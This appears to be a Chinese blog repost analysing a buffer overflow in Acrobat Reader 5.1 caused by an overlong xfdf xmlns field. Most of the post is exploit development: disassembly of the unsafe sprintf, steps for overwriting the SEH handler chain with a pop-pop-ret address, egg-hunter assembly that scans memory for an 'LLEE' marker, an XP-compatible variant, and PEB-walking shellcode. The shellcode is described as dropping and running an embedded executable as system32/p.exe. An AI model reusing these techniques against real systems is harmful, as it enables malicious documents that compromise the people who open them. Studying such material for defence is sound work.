Acrobat Reader5.1漏洞分析(zt)

作者: Leven
只对Acrobat Reader 5.1有效
在一个xdf文件里放入一个超长的<xfdf xmlns>段,会造成溢出

问题代码
001B:2200E249  55                  PUSH      EBP
001B:2200E24A  8BEC                MOV       EBP,ESP
001B:2200E24C  81EC40010000        SUB       ESP,00000140            //分配0x140长度
001B:2200E252  53                  PUSH      EBX
001B:2200E253  56                  PUSH      ESI
001B:2200E254  57                  PUSH      EDI
001B:2200E255  6A01                PUSH      01
001B:2200E257  6A05                PUSH      05
001B:2200E259  33DB                XOR       EBX,EBX
001B:2200E25B  FF7508              PUSH      DWORD PTR [EBP+08]
001B:2200E25E  8D4DFC              LEA       ECX,[EBP-04]
001B:2200E261  895DFC              MOV       [EBP-04],EBX
001B:2200E264  E839470500          CALL      220629A2
001B:2200E269  A1542D0A22          MOV       EAX,[220A2D54]
001B:2200E26E  53                  PUSH      EBX
001B:2200E26F  FF75FC              PUSH      DWORD PTR [EBP-04]
001B:2200E272  FF5064              CALL      [EAX+64]
001B:2200E275  59                  POP       ECX
001B:2200E276  59                  POP       ECX
001B:2200E277  50                  PUSH      EAX
001B:2200E278  8D85C0FEFFFF        LEA       EAX,[EBP-0140]
001B:2200E27E  682C4D0922          PUSH      22094D2C
001B:2200E283  50                  PUSH      EAX
001B:2200E284  FF1564F20822        CALL      [MSVCRT!sprintf]            //不安全调用sprintf造成溢出
001B:2200E28A  83C40C              ADD       ESP,0C
001B:2200E28D  8D85C0FEFFFF        LEA       EAX,[EBP-0140]
001B:2200E293  50                  PUSH      EAX
001B:2200E294  FF15FCF00822        CALL      [KERNEL32!OutputDebugStringA]
001B:2200E29A  FF75FC              PUSH      DWORD PTR [EBP-04]
001B:2200E29D  8B7510              MOV       ESI,[EBP+10]
001B:2200E2A0  56                  PUSH      ESI
001B:2200E2A1  E8D7110000          CALL      2200F47D                //call里面会产生异常

分配缓冲区为0X140大小,spfintf时没有做长度检查,导致溢出。可以覆盖ret和异常处理函数
最近的ret在2200e697,相差上千字节,太远,不考虑

于是覆盖异常处理地址,异常处理函数链表
12ed30
12ef3c
12f0e0
12f598
12ff04
12ffb0
12ffe0

覆盖第一个函数12ed30,改为pop esi,pop eax,ret(5e 5f c3)的地址774a295a,之前的4个字节改为
push ecx  51
pop ecx   59
pop eax   58        //这里正好把context的头指针给了eax,后面会用到
push 774a295a 68    //这里正好把返回地址774a295a跳过,运行后面的指令
跳过774a295a之后,是shellcode
经过几次JAE跳转,跳到不限制可见字符的地方,只有160个字节左右可用,用这段字节来搜索内存,标志为LLEE,找到真正的shellcode(放在xdf文件后面)

搜索内存代码1
    jmp excep1

excep2:
    mov ecx,fs:[0]        //接管异常
    push ecx
    mov fs:[0],esp
    mov edx,0x45454c4d    //LLEE
    dec edx
    mov eax,esi

next:
    inc eax            //搜索内存
    cmp [eax],edx
    jz find
    jmp next

find:
    add eax,4        //找到,跳转
    jmp eax

excep1:
    call excep2

    mov edx,[esp+0xc]
    xor ebx,ebx
    mov bl,1
    shl ebx,0x0c
    add [edx+0xb0],ebx
    xor eax,eax
    ret

经实验发现这种搜索内存的方法在XP下不起左右,因为XP的异常处理比2K多了一个检测,
001B:77F978D1  8B4304              MOV       EAX,[EBX+04]    //EAX为异常结构链的第一个函数的地址,即上面的excep1
001B:77F978D4  3B45FC              CMP       EAX,[EBP-04]    
001B:77F978D7  7209                JB        77F978E2
001B:77F978D9  3B45F8              CMP       EAX,[EBP-08]    //[EBP-08]为0x00140000,是从FS:[4]中取出,stackbase
001B:77F978DC  0F82A8000000        JB        77F9798A        //可见当异常处理函数小于stackbase时,将不会调用函数(栈不可执行?)

所以为了兼容XP改用以下搜索内存的方法来完成

    mov edx,[esp+8]        //esp+8正好是以前的异常结构链的第一个链
    mov fs:[0],edx        //因为此时fs:0已经被系统自动修改了,所以这里将原来的处理函数放入FS:0,这样发生异常是还回到这里
    mov eax,[eax+0xb0]    //[eax+0xb0]是context.eax,经过之前的几次pop和push,此时eax正好指向原来的esp+c,即context
    mov edx,0x45454c4d    //之后正常搜索,当搜索到无效页面时,还会回到这里,此时将eax加0x1000,继续搜索
    dec edx
    add eax,0x1000
next:
    inc eax
    cmp [eax],edx
    jz find
    jmp next
find:
    add eax,4
    jmp eax


找到真正的SHELLCODE后,通过PEB得到KERNEL32.DLL的基址(98下需要另外处理),之后得到各个API的地址
    mov eax,fs:0x30
    mov eax,[eax+0x0c]
    mov esi,[eax+0x1c]
    lodsd
    mov eax,[eax+0x08]
之后打开自身文件,通过指定的文件偏移,将exe文件存入system32/p.exe,并执行。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值